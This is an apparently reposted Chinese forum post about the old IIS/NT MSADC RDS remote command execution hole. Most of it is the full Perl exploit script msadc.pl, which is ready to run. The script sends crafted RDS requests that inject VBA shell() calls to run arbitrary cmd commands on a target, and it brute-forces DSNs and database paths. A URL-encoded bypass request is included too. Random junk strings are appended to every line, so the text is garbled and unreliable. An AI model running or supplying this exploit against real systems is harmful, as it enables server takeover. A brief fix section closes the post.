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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $o}Ao@WkO  
dA4DW  
涉及程序: p6P .I8g  
Microsoft NT server X^Dklqqy  
nSR7$yS_  
描述: eI99itDQ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 EH1GdlhA  
iR(=< >  
详细: :qlcN@_  
如果你没有时间读详细内容的话,就删除: < KB V  
c:\Program Files\Common Files\System\Msadc\msadcs.dll wN}@%D-[v  
有关的安全问题就没有了。 lJlyfN  
}[2  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9W5~I9%  
Uphme8SX  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 VDy2 !0  
关于利用ODBC远程漏洞的描述,请参看: 0i|z$QRL~  
TjDDvXY  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _`|te|ccF  
oyfY>^bs  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9Kl:3C  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9$<1<  
)(CZK&<  
这里不再论述。 m+m2<|%x  
t_ju[xL5B  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: #M/^n0E  
76 ] X  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset d-%bRGo/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #LU<v  
H<N$z 3k  
9szUN;:ZZ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" v^A4%e<8^r  
Sao4MkSz[]  
#!perl zv.R~lMtY  
# $tm%=g^  
# MSADC/RDS 'usage' (aka exploit) script GycW3tc]_&  
# ZsnFuk#W  
# by rain.forest.puppy SLsw '<  
# 9I1D'7wI^^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me _EEOBaZ  
# beta test and find errors! 3aX/)v.:4  
|^:qJ;dOP  
use Socket; use Getopt::Std; cVb&Jzd  
getopts("e:vd:h:XR", \%args); b aO ^Z  
a%g|E'\Jw  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O-uno{Fd*  
uE'O}Y95  
if (!defined $args{h} && !defined $args{R}) { b@s6jNhVO^  
print qq~ >(.GIR  
Usage: msadc.pl -h <host> { -d <delay> -X -v } AX{X:L8Ut2  
-h <host> = host you want to scan (ip or domain) GBg~NkC7.  
-d <seconds> = delay between calls, default 1 second f$y`tT %o  
-X = dump Index Server path table, if available NpPuh9e{  
-v = verbose fex<9'e  
-e = external dictionary file for step 5 5 *R{N ~>  
@'AjEl:&-_  
Or a -R will resume a command session VY1&YR}Y  
on^m2pQ *p  
~; exit;} #Ch*a.tI@  
&2P=74\=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; mxPzB#t4  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,%=SO 82W  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} y3+iADo.p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $S6%a9m   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Y?'Krw `  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {VmJVO]S  
 Gv(?u  
if (!defined $args{R}){ $ret = &has_msadc; F $6JzF$|F  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} o)]mJb~XG-  
w\}@+w3b~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" my]t[%Q{  
. "cmd /c "; \#(tI3  
$in=<STDIN>; chomp $in; E;MelK<8(  
$command="cmd /c " . $in ; Y#<>N-X|kA  
) Vf!U"  
if (defined $args{R}) {&load; exit;} g15~+;33N  
*}h#'+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [:BD9V  
&try_btcustmr; 23p1Lb9P  
V] 0T P#  
print "\nStep 2: Trying to make our own DSN..."; ;R[w}#Sm  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; E#zLm  
eHl)/='  
print "\nStep 3: Trying known DSNs..."; U_KCN09  
&known_dsn; q]2t3aY%  
S HxD(6  
print "\nStep 4: Trying known .mdbs..."; X/BcS[a  
&known_mdb; kMx^L;:n  
@>Bgld&vl  
if (defined $args{e}){ dTrz7ayH  
print "\nStep 5: Trying dictionary of DSN names..."; [,0[\NC  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } xf4CM,Z7(  
=THRy ZCH  
print "Sorry Charley...maybe next time?\n"; 1=L5=uz1d:  
exit; MUW&m2  
r "uQ|  
############################################################################## IY"+hHt  
 MU>6s`6O  
sub sendraw { # ripped and modded from whisker E=# O|[=  
sleep($delay); # it's a DoS on the server! At least on mine... = 9!|%j  
my ($pstr)=@_; k-!Jww  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `8lS)R!  
die("Socket problems\n"); w.o>G2u  
if(connect(S,pack "SnA4x8",2,80,$target)){ K6EG"Vv!  
select(S); $|=1; @#QaaR;4  
print $pstr; my @in=<S>; `e[>S  
select(STDOUT); close(S); 7R7e3p,K  
return @in; 6>NK2} `  
} else { die("Can't connect...\n"); }} :*I=' M9B  
q@&6&cd  
############################################################################## H8!)zZ  
5"9 '=LV~  
sub make_header { # make the HTTP request z]/!4+  
my $msadc=<<EOT .LI(2lP  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 N8KH.P+  
User-Agent: ACTIVEDATA -{z<+(K!$  
Host: $ip 5V*R  Dh  
Content-Length: $clen hX)PdRk#  
Connection: Keep-Alive &dky_H  
6o)RsxN eu  
ADCClientVersion:01.06 3lsfT-|Wt&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 cH:9@>'$a  
Qf($F,)K  
--!ADM!ROX!YOUR!WORLD! 83!{?EPE  
Content-Type: application/x-varg - !QVM\t  
Content-Length: $reqlen 6an= C_Mb`  
6]|-%  
EOT z'&tmje[?  
; $msadc=~s/\n/\r\n/g; z 4qEC  
return $msadc;} _;mA(j  
8 RA  
############################################################################## -2B3 xIZJ  
e'A 1%g)  
sub make_req { # make the RDS request xnOd$]  
my ($switch, $p1, $p2)=@_; aQ*?L l  
my $req=""; my $t1, $t2, $query, $dsn; ?0tm{qP  
y>>)Yo&|  
if ($switch==1){ # this is the btcustmr.mdb query *cP(3n3]R  
$query="Select * from Customers where City=" . make_shell(); Aa+<4 R  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?*^HZ~O1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 37 b6w6{D  
5t,X;  
elsif ($switch==2){ # this is general make table query VDFs.;:s  
$query="create table AZZ (B int, C varchar(10))"; 1*f*}M  
$dsn="$p1";} 8?hZ5QvA(j  
l4gZHMh'  
elsif ($switch==3){ # this is general exploit table query #.{ddY{  
$query="select * from AZZ where C=" . make_shell(); kgHZaQnD  
$dsn="$p1";} ?kULR0uL+  
-Q6Vz=ku  
elsif ($switch==4){ # attempt to hork file info from index server H=*lj.x  
$query="select path from scope()"; *?pnTQs^  
$dsn="Provider=MSIDXS;";} YYhN>d$  
^c]c`w  
elsif ($switch==5){ # bad query n s#v?D9NF  
$query="select"; g(C/J9J  
$dsn="$p1";} K5HzA1^  
y!c<P,Lt3f  
$t1= make_unicode($query); '#a;n  
$t2= make_unicode($dsn); w<u@L  
$req = "\x02\x00\x03\x00"; ?G[=pY:=  
$req.= "\x08\x00" . pack ("S1", length($t1)); 1i&|}"  
$req.= "\x00\x00" . $t1 ; to;^'#B  
$req.= "\x08\x00" . pack ("S1", length($t2)); <+UJgB A-  
$req.= "\x00\x00" . $t2 ; 7J1f$5$m5  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; O%f{\Fr  
return $req;} vNHvuw K  
K'f^=bc I  
############################################################################## I;9C":'#  
SLz;5%CPV  
sub make_shell { # this makes the shell() statement o@L2c3?c5  
return "'|shell(\"$command\")|'";} L[^.pO  
y@(EGfI  
############################################################################## 7+;.Q  
~^PNMZk  
sub make_unicode { # quick little function to convert to unicode i&q_h>ZT g  
my ($in)=@_; my $out; Dy*K;e-+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } E|A~T7G=  
return $out;} z.|[g$F  
Bbtc[@"X  
############################################################################## 3^iVDbAW{  
|AXV4{j_i  
sub rdo_success { # checks for RDO return success (this is kludge) @RZbo@{~  
my (@in) = @_; my $base=content_start(@in); ~ike&k{  
if($in[$base]=~/multipart\/mixed/){ ftz-l&5  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} |kY  
return 0;} `>GXJ~:D["  
JS/~6'uB  
############################################################################## ,Jx.Kj.,  
Pk;1q?tGw  
sub make_dsn { # this makes a DSN for us .X5A7 m  
my @drives=("c","d","e","f"); F:sUGM,  
print "\nMaking DSN: "; {e5-  
foreach $drive (@drives) { A2!pbeG  
print "$drive: "; M8IU[Pz4  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 8JXS:J.|v  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" "xNP"S  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); i91k0q*di  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 6tGF  
return 0 if $2 eq "404"; # not found/doesn't exist yg6o#;  
if($2 eq "200") { kjDmwa+91T  
foreach $line (@results) { Nza@6nI"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >2v<;.  
} return 0;} X|yVRQ?F`  
2%| n}V[  
############################################################################## 4+89 M  
[_`@ V4  
sub verify_exists { dA^{}zZu  
my ($page)=@_; ;oO_5[,M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Y6T{/!  
return $results[0];} Tz~a. h@  
%f?Zg44  
############################################################################## ??P %.  
_4T7Vg''  
sub try_btcustmr { F2{SC?U  
my @drives=("c","d","e","f"); VUOe7c=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #ro$$I;  
4];>O  
foreach $dir (@dirs) { lavy?tFer  
print "$dir -> "; # fun status so you can see progress $1FnjL5u  
foreach $drive (@drives) { hkRqtpYK  
print "$drive: "; # ditto OdO n wY  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; b`JS&E  
$reqlenlen=length( "$reqlen" ); v4K! BW  
$clen= 206 + $reqlenlen + $reqlen; ,g4T>7`&U%  
6ma.FvSIM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); A]1dR\p  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} BSy{"K*M  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} JmeE}:5lpj  
A%X=yqY  
############################################################################## #M<YNuE#"  
F'"-aB ~  
sub odbc_error { S;u.Ds&  
my (@in)=@_; my $base; HCx0'|J  
my $base = content_start(@in); 8Zy*#[-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ysCK_  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _pzYmQ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z|fi$2k0!  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4TyzD%pOw  
return $in[$base+4].$in[$base+5].$in[$base+6];} {?q`9[Z  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ^/cqE[V~,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . +p&zM3:9w  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hi4-Z=pl  
&M tF  
############################################################################## [mj=m?j  
*>HS>#S  
sub verbose { A-d<[@d0  
my ($in)=@_; Z78i7k}  
return if !$verbose; Sy]W4%  
print STDOUT "\n$in\n";} _v(5vx_ {  
#s ' `bF^  
############################################################################## cm!|A?-<  
.l|29{J  
sub save { stMxlG"d  
my ($p1, $p2, $p3, $p4)=@_; !1K.HdK  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; NJmx(!Xsh  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";  E(wS6  
close OUT;} H=w6  
LK!sk5/  
############################################################################## (pHJEY  
TU;AO%5  
sub load { _yF@k~ h  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9I`0`o"A  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `gF`Sgz  
@p=<IN>; close(IN); <f=<r*6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); O3)B]!xL  
$target= inet_aton($ip) || die("inet_aton problems"); hsJ^Au=})w  
print "Resuming to $ip ..."; rP,|  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; [P0c,97_ H  
if($p[1]==1) { 0l/7JH_@V  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ? * r  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; EQk omjv  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); -0BxZ AW=  
if (rdo_success(@results)){print "Success!\n";} wWSw0 H/  
else { print "failed\n"; verbose(odbc_error(@results));}} a8v\H8@X  
elsif ($p[1]==3){ xA<-'8ST  
if(run_query("$p[3]")){ kM@e_YtpY  
print "Success!\n";} else { print "failed\n"; }} bxO[y<|XL  
elsif ($p[1]==4){ [w-Tf&  
if(run_query($drvst . "$p[3]")){ k<Xb< U  
print "Success!\n"; } else { print "failed\n"; }} gPA8A>U)[  
exit;} LE~vSm^#  
J`C 2}$ ~  
############################################################################## y+=s/c  
6 8fnh'I!  
sub create_table { :;TF_S v  
my ($in)=@_; /|#2ehE  
$reqlen=length( make_req(2,$in,"") ) - 28; U#- 5",X|  
$reqlenlen=length( "$reqlen" ); S6\E  I5S  
$clen= 206 + $reqlenlen + $reqlen; TaaCl#g$?  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3sIdwY)ZS_  
return 1 if rdo_success(@results); o( mA(h  
my $temp= odbc_error(@results); verbose($temp); Mn3j6a  
return 1 if $temp=~/Table 'AZZ' already exists/; 8N$Xq\Da+>  
return 0;} d>T8V(Bb  
 j=G  
############################################################################## Fe+(+ S  
vO53?vN[m9  
sub known_dsn { W#kyD)(F  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go iQ1[60?)T  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Z0O0Q=e\Y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", VC_F Cz  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); =v!Z8zk=W  
W voIh4]  
foreach $dSn (@dsns) { smn(q)tt  
print "."; 2yD ?f8P4  
next if (!is_access("DSN=$dSn")); DZLEx{cm  
if(create_table("DSN=$dSn")){ 8|$g"? CU  
print "$dSn successful\n"; 9~2iA,xs  
if(run_query("DSN=$dSn")){ +?*.Emzl@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { J5O/c,?g  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Hw toa,  
|/c-~|%  
############################################################################## C-@M|K9A'  
W5e >Z&&  
sub is_access { A |@d{g  
my ($in)=@_; k]P'D .  
$reqlen=length( make_req(5,$in,"") ) - 28; :cIPX%S  
$reqlenlen=length( "$reqlen" ); ;Xqi;EA  
$clen= 206 + $reqlenlen + $reqlen; PR AP~P&^  
my @results=sendraw(make_header() . make_req(5,$in,"")); bD3d T>(+  
my $temp= odbc_error(@results); K6)IBV;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); I>w|80%%  
return 0;} [} d39  
9eE FX7  
############################################################################## : ;hm^m]Y  
a;kiAJ'  
sub run_query { -UAMHd}4  
my ($in)=@_; <Wj /A/  
$reqlen=length( make_req(3,$in,"") ) - 28; TEGg)\+D>  
$reqlenlen=length( "$reqlen" ); n{qVF#N_  
$clen= 206 + $reqlenlen + $reqlen; \}<J>R@  
my @results=sendraw(make_header() . make_req(3,$in,"")); qlg.\H:W~  
return 1 if rdo_success(@results); DY/%|w*L  
my $temp= odbc_error(@results); verbose($temp); hOV5WO\  
return 0;} 7:=(yBG  
%F$ ]v  
############################################################################## D8xE"6T>  
Fo5UG2E&  
sub known_mdb { tu@-+< *  
my @drives=("c","d","e","f","g"); N6T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !}c\u  
my $dir, $drive, $mdb; |oX9SUl  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; C43I(.2g  
>{A)d<  
# this is sparse, because I don't know of many D5xTuv9T  
my @sysmdbs=( "\\catroot\\icatalog.mdb", iCGHcN^3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %U .x9UL  
"\\system32\\certmdb.mdb", Jy[rA<x$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% P1]F0fR  
.:B0(4Mj  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", a3z_o)"   
"\\cfusion\\cfapps\\forums\\forums_.mdb", >MhZ(&iD  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q1 BpE8  
"\\cfusion\\cfapps\\security\\realm_.mdb", Qw_> l}k/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /}%C'  
"\\cfusion\\database\\cfexamples.mdb", o/vD]Fs  
"\\cfusion\\database\\cfsnippets.mdb", zW hzU|=8  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", aW;)-0+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Uxe]T  
"\\cfusion\\brighttiger\\database\\cleam.mdb", }dqOE-"I"n  
"\\cfusion\\database\\smpolicy.mdb", .vIRz-S  
"\\cfusion\\database\cypress.mdb", }N,v&  B  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", =i2]qj\  
"\\website\\cgi-win\\dbsample.mdb", ' %rn-|)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", e(OKE7  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" d7x6r3J$  
); #these are just [iyhrc:@  
foreach $drive (@drives) { xk,1 D  
foreach $dir (@dirs){ RUut7[r  
foreach $mdb (@sysmdbs) { p_fsEY  
print "."; B4c;/W-  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 5nmE*(  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ;2MdvHhz1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ OMab!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; V,\}|_GY  
} else { print "Something's borked. Use verbose next time\n"; }}}}} .#K\u![@N  
.%\||1F<  
foreach $drive (@drives) { RaymSh  
foreach $mdb (@mdbs) { '^ O}`   
print "."; D.a\O9q"&{  
if(create_table($drv . $drive . $dir . $mdb)){ <iH"5DEe  
print "\n" . $drive . $dir . $mdb . " successful\n"; CHL5@gg@>y  
if(run_query($drv . $drive . $dir . $mdb)){ eSW}H_3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3.=o}!  
} else { print "Something's borked. Use verbose next time\n"; }}}} b"w2 2%  
} B < HD  
"CFU$~  
############################################################################## b `cH.v  
Iu;VFa  
sub hork_idx { z~1S/,Ca  
print "\nAttempting to dump Index Server tables...\n"; 1pN8,[hyR7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; {t:*Xu  
$reqlen=length( make_req(4,"","") ) - 28; MQy,[y7I  
$reqlenlen=length( "$reqlen" ); m (kKUv  
$clen= 206 + $reqlenlen + $reqlen; ?8<R)hJa<  
my @results=sendraw2(make_header() . make_req(4,"","")); B7%m7GM  
if (rdo_success(@results)){ THy   
my $max=@results; my $c; my %d; ,W_".aguX  
for($c=19; $c<$max; $c++){ nA=E|$1  
$results[$c]=~s/\x00//g; M{Vi4ehOq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3XUsw1,[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 9IacZ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; uw`J5TND  
$d{"$1$2"}="";} 1vq c8lC  
foreach $c (keys %d){ print "$c\n"; } ;H]]H!  
} else {print "Index server doesn't seem to be installed.\n"; }} />7G  
UVsF !0  
############################################################################## 2e({%P@2?  
)Q|sW+AF  
sub dsn_dict { u 1Wixjd|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); H~0B5Hl!F  
while(<IN>){ t-]~^s  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; xp\6,Jyh  
next if (!is_access("DSN=$dSn")); h<!!r  
if(create_table("DSN=$dSn")){ !\\1#:*_W  
print "$dSn successful\n"; 3Z%jx#  
if(run_query("DSN=$dSn")){ WxtB:7J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { K#y CZ2  
print "Something's borked. Use verbose next time\n";}}} zWF[cf>'  
print "\n"; close(IN);} q~xs4?n1U  
8Urj;KkD  
############################################################################## S;nlC  
^Uik{x  
sub sendraw2 { # ripped and modded from whisker C33RXt$X  
sleep($delay); # it's a DoS on the server! At least on mine... ZM57(D  
my ($pstr)=@_; 0!1cHB/c  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5hlS2fn  
die("Socket problems\n"); N_VWA.JHt  
if(connect(S,pack "SnA4x8",2,80,$target)){ @4]dv> Z  
print "Connected. Getting data"; - KaU@t  
open(OUT,">raw.out"); my @in; cA!o xti  
select(S); $|=1; print $pstr;  '^,|8A2  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} uC 2{ Mmy  
close(OUT); select(STDOUT); close(S); return @in; [>:9 #n  
} else { die("Can't connect...\n"); }} 8Tp!b %2.  
In#m~nE[M  
############################################################################## [*Vo`WgbD  
~eekv5  
sub content_start { # this will take in the server headers % +M,FgW  
my (@in)=@_; my $c; d{]2Q9g  
for ($c=1;$c<500;$c++) { r+i=P_p  
if($in[$c] =~/^\x0d\x0a/){ &^B;1ZMHD  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .wQM_RZJ  
else { return $c+1; }}} lfLLk?g3k  
return -1;} # it should never get here actually v-B&"XGy:  
,T+.xB;Q@  
############################################################################## [|L~" BB  
v)v`896S`  
sub funky { j[:Iu#VR  
my (@in)=@_; my $error=odbc_error(@in); &W>%E!F  
if($error=~/ADO could not find the specified provider/){ [-3x*?Ju  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }#`-mRaU  
exit;} g+KuK`\N%  
if($error=~/A Handler is required/){ Mqmy*m[U  
print "\nServer has custom handler filters (they most likely are patched)\n"; V_=7q=9mV  
exit;} p8E6_%Rw  
if($error=~/specified Handler has denied Access/){ Twk,R. O  
print "\nServer has custom handler filters (they most likely are patched)\n"; \U HI%1^  
exit;}} l3YS_WBSn  
)'$'?Fn  
############################################################################## }h9f(ZyJn  
-W1Apd%>  
sub has_msadc { ()(/9t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); VCvFCyAz  
my $base=content_start(@results); ~J|B  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jd}-&DN  
return 0;} XchVsA  
wv&%09U  
######################## 'o ZdMl&  
[d6TwKv  
*orP{p -U  
解决方案: @kB^~Wf  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ""_%u'7t5I  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 C+aL8_(R  
*nV*WU S3  
拿出来充数 哈哈
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